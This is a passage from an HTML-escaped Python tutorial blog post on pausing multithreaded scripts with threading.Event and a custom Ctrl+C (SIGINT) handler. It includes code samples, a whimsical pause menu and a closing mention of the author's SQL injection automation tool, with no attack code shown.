event&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token builtin&quot;&gt;set&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;   &lt;span class=&quot;token comment&quot;&gt;# &#39;done: bar&#39; printed instantly after&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Python&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;hr /&gt;
&lt;p&gt;Back to our &amp;quot;after&amp;quot; script. You&#39;ll notice we used not one, not two, but &lt;em&gt;three&lt;/em&gt; events. In the thread, we introduce a new kind of sleep function: &lt;code&gt;thread_delay&lt;/code&gt;.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-python&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;pause_evt &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; Event&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
resume_evt &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; Event&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
quit_evt &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; Event&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# -- snip -- &lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;thread_delay&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;sec&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; pause_evt&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;wait&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;sec&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;[thread] Interrupt detected, waiting for resume.&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
        resume_evt&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;wait&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; quit_evt&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;is_set&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;token keyword&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;[thread] Resumed, but still interrupted. Exiting thread.&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
            &lt;span class=&quot;token keyword&quot;&gt;raise&lt;/span&gt; RuntimeError&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;interrupt&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;else&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;token keyword&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;[thread] Resuming...&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
            &lt;span class=&quot;token keyword&quot;&gt;pass&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Python&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;&lt;code&gt;pause_evt&lt;/code&gt; - This is the event responsible for sleeping. If &lt;code&gt;pause_evt&lt;/code&gt; is set when &lt;code&gt;pause_evt.wait(sec)&lt;/code&gt; is running, it will return &lt;code&gt;True&lt;/code&gt; and enter the &amp;quot;paused state&amp;quot;. Otherwise, &lt;code&gt;.wait(sec)&lt;/code&gt; eventually times out and returns &lt;code&gt;False&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;resume_evt&lt;/code&gt; - Since we want our threads to stop running completely during interactive pause, we need to block and wait for another signal. Thus, a second event. Notice &lt;code&gt;resume_evt.wait()&lt;/code&gt; doesn&#39;t take a parameter, so it waits indefinitely.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;quit_evt&lt;/code&gt; - This is an additional feature I added to allow gracefully exiting the thread. The &amp;quot;protocol&amp;quot; I came up with is:
&lt;ul&gt;
&lt;li&gt;If &lt;code&gt;resume_evt&lt;/code&gt; is set and &lt;code&gt;quit_evt&lt;/code&gt; is set → quit the program by throwing an error to exit the thread.&lt;/li&gt;
&lt;li&gt;If &lt;code&gt;resume_evt&lt;/code&gt; is set and &lt;code&gt;quit_evt&lt;/code&gt; is cleared → continue running.&lt;/li&gt;
&lt;li&gt;This doesn&#39;t need to be an event. It could just as well be a variable, since single writes and multiple reads are thread-safe.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Let&#39;s now take a look at the modified code in &lt;code&gt;main()&lt;/code&gt;.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-python&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;True&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token comment&quot;&gt;# ...&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;not&lt;/span&gt; pause_evt&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;is_set&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;# handle results...&lt;/span&gt;
        
    &lt;span class=&quot;token comment&quot;&gt;# -- snip --&lt;/span&gt;
    
    &lt;span class=&quot;token comment&quot;&gt;# Handle pause menu/input.&lt;/span&gt;
    cont &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; main_pause_menu&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
        
    &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; cont&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;# Continue&lt;/span&gt;
        quit_evt&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;clear&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;else&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;# Quit&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;[main] Shutting down...&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
        executor&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;shutdown&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;wait&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token boolean&quot;&gt;False&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; cancel_futures&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token boolean&quot;&gt;True&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
        quit_evt&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token builtin&quot;&gt;set&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;[main] Finished shutdown.&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    
    pause_evt&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;clear&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    resume_evt&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token builtin&quot;&gt;set&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;# Signal remaining threads to resume (and possibly quit).&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;not&lt;/span&gt; cont&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;break&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Python&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;The logic here is somewhat simple:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;If &lt;code&gt;pause_evt&lt;/code&gt; &lt;em&gt;is not&lt;/em&gt; set, handle finished results.&lt;/li&gt;
&lt;li&gt;If &lt;code&gt;pause_evt&lt;/code&gt; &lt;em&gt;is&lt;/em&gt; set, enter the pause menu.&lt;/li&gt;
&lt;li&gt;&lt;em&gt;User inputs whether to continue or quit.&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;The rest of the code fulfils the &amp;quot;protocol&amp;quot; outlined earlier.
&lt;ul&gt;
&lt;li&gt;To continue: clear &lt;code&gt;quit_evt&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;To quit: set &lt;code&gt;quit_evt&lt;/code&gt;. (Plus cancel pending jobs.)&lt;/li&gt;
&lt;li&gt;Then set &lt;code&gt;resume_evt&lt;/code&gt; to signal worker threads to venture forth!&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;handling-ctrl-c-with-signal&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/delay-and-interactive-pause-in-multithreaded-python/#handling-ctrl-c-with-signal&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Handling Ctrl+C with signal&lt;/h3&gt;
&lt;p&gt;By default, when Python receives Ctrl+C, a callback runs which raises &lt;code&gt;KeyboardInterrupt&lt;/code&gt;. In major operating systems, Ctrl+C sends a SIGINT (i.e. signal interrupt) to programs.&lt;/p&gt;
&lt;p&gt;To customise Ctrl+C behaviour, we can set a callback with &lt;code&gt;signal.signal&lt;/code&gt;. In our case, our customisation will pause threads by calling &lt;code&gt;pause_evt.set()&lt;/code&gt;. We&#39;ll save the original signal so that we can restore normal Ctrl+C behaviour when threads are paused or finished.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-python&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# Set custom handler...&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;handle_int_signal&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;signo&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; _frame&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    resume_evt&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;clear&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    pause_evt&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token builtin&quot;&gt;set&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

py_int_signal &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; signal&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;getsignal&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;signal&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;SIGINT&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
signal&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;signal&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;signal&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;SIGINT&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; handle_int_signal&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;enable_py_signal&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    signal&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;signal&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;signal&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;SIGINT&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; py_int_signal&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;enable_custom_signal&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    signal&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;signal&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;signal&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;SIGINT&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; handle_int_signal&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Python&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;In &lt;code&gt;main()&lt;/code&gt;, we wrap our result-handling code with &lt;code&gt;enable_custom_signal()&lt;/code&gt; and &lt;code&gt;enable_py_signal()&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-python&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# When running threads...&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;True&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    enable_custom_signal&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token comment&quot;&gt;# -- snip -- Wait for Ctrl+C signal to pause threads...&lt;/span&gt;
    enable_py_signal&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token comment&quot;&gt;# -- snip -- Show pause menu + handle events...&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Python&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Truth be told, I couldn&#39;t figure out how to get arbitrary keystrokes in an &lt;code&gt;event.wait&lt;/code&gt;-esque manner (i.e. with a timeout). The easiest solution was to just use Ctrl+C. A bit limited, but I&#39;m happy with it.&lt;/p&gt;
&lt;h3 id=&quot;write-a-pause-menu&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/delay-and-interactive-pause-in-multithreaded-python/#write-a-pause-menu&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Write a Pause Menu&lt;/h3&gt;
&lt;p&gt;If you learned programming before generative AI replaced tutorials, diligence, and self-worth, chances are your first program was a simple interactive I/O. Read input; spit it back out. Our simple menu will go back to those nostalgic first days of programming.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-python&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# A simple interactive menu to display during the paused state!&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;# Return True -&amp;gt; continue program. Return False -&amp;gt; quit.&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;main_pause_menu&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;Elsa?&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;try&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
            x &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;input&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;Do you want to build a snowman? [y/n] &#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;lower&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;except&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;KeyboardInterrupt&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; EOFError&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;as&lt;/span&gt; e&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;token comment&quot;&gt;# Treat Ctrl+C and Ctrl+D as &quot;no&quot;.&lt;/span&gt;
            &lt;span class=&quot;token keyword&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string-interpolation&quot;&gt;&lt;span class=&quot;token string&quot;&gt;f&#39;Got &lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;e&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;__class__&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;__name__&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;. You don&#92;&#39;t have to be thaat rude. :(&#39;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
            &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;False&lt;/span&gt;
        
        &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; x &lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&#39;y&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;True&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;elif&lt;/span&gt; x &lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&#39;n&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;token keyword&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;Okay, byeeeee.&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
            &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;False&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Python&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;h2 id=&quot;conclusion&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/delay-and-interactive-pause-in-multithreaded-python/#conclusion&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Conclusion&lt;/h2&gt;
&lt;p&gt;To show &lt;s&gt;off&lt;/s&gt; this potential in an interactive tool, here&#39;s a short clip where I integrated the techniques here into my &lt;a href=&quot;https://github.com/TrebledJ/bsqli.py&quot;&gt;nifty little SQL injection automation&lt;/a&gt; (for ethical hacking purposes).&lt;/p&gt;
&lt;div class=&quot;mb-2 rw center jw-100 video&quot;&gt;&lt;video autoplay=&quot;&quot; loop=&quot;&quot; muted=&quot;&quot; class=&quot;jw-100&quot;&gt;&lt;source src=&quot;https://trebledj.me/img/demo3.mp4&quot; type=&quot;video/mp4&quot; /&gt;&lt;/video&gt;&lt;/div&gt;
&lt;p class=&quot;caption&quot;&gt;&lt;sup&gt;On the left panel, we seamlessly execute various commands, pausing twice with Ctrl+C, with the option of configuring the delay, timeout, and log level. An updated version allows toggling the proxy!&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;This post demonstrated how to add interactive pausing to your multithreaded Python script with zero additional dependencies. Despite the simplicity, there are a few other things to explore that we haven&#39;t discussed:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Pausing with processes or asyncio.&lt;/strong&gt; Each of these has their own Event objects. Processes have &lt;a href=&quot;https://docs.python.org/3/library/multiprocessing.html#multiprocessing.Event&quot;&gt;&lt;code&gt;multiprocessing.Event&lt;/code&gt;&lt;/a&gt;. asyncio has &lt;a href=&quot;https://docs.python.org/3/library/asyncio-sync.html#event&quot;&gt;asyncio.Event&lt;/a&gt;. These are also worth exploring.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Trigger pause with an arbitrary key.&lt;/strong&gt; Instead of relying on Ctrl+C and SIGINT, is it possible to listen for arbitrary keys and pause with them? This seems difficult to implement without additional dependencies and may require native API wrangling (see the &lt;code&gt;keyboard&lt;/code&gt; package).
&lt;ul&gt;
&lt;li&gt;It is possible to capture input on a separate thread with &lt;code&gt;getch&lt;/code&gt; implementations (&lt;a href=&quot;https://stackoverflow.com/q/510357/10239789&quot;&gt;see here&lt;/a&gt;). This blocks while waiting for input. However, issues arise when considering other UX aspects.&lt;/li&gt;
&lt;li&gt;What if the user presses Ctrl+C? SIGINT (and signals, in general) are &lt;a href=&quot;https://docs.python.org/3/library/signal.html&quot;&gt;always executed in the main thread&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;What if the processing finishes without the user entering input? The thread receiving input would need to be killed.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Off-by-One Delay.&lt;/strong&gt; Currently, our execution is &lt;strong&gt;delay&lt;/strong&gt; → &lt;strong&gt;work&lt;/strong&gt; → &lt;strong&gt;delay&lt;/strong&gt; → &lt;strong&gt;work&lt;/strong&gt;, but the first delay isn&#39;t actually needed. This should be fairly trivial to fix, but I decided to leave it out from the example to avoid overcomplication. Exercise for the reader and all that.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;a id=&quot;logical-end-of-article&quot;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h3 id=&quot;tl-dr&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/delay-and-interactive-pause-in-multithreaded-python/#tl-dr&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; tl;dr&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Use &lt;code&gt;threading.Event&lt;/code&gt; to synchronise events (e.g. pause) and sleep.
&lt;ul&gt;
&lt;li&gt;Use three events: one to signal pause, one to signal resume, and one to indicate resume or quit.&lt;/li&gt;
&lt;li&gt;Write a &lt;code&gt;delay()&lt;/code&gt; function which calls &lt;code&gt;pause_event.wait(SLEEP_SEC)&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Use &lt;code&gt;signal.signal&lt;/code&gt; to customise Ctrl+C (which triggers SIGINT). The handler should call &lt;code&gt;pause_event.set()&lt;/code&gt;.&lt;/li&gt;
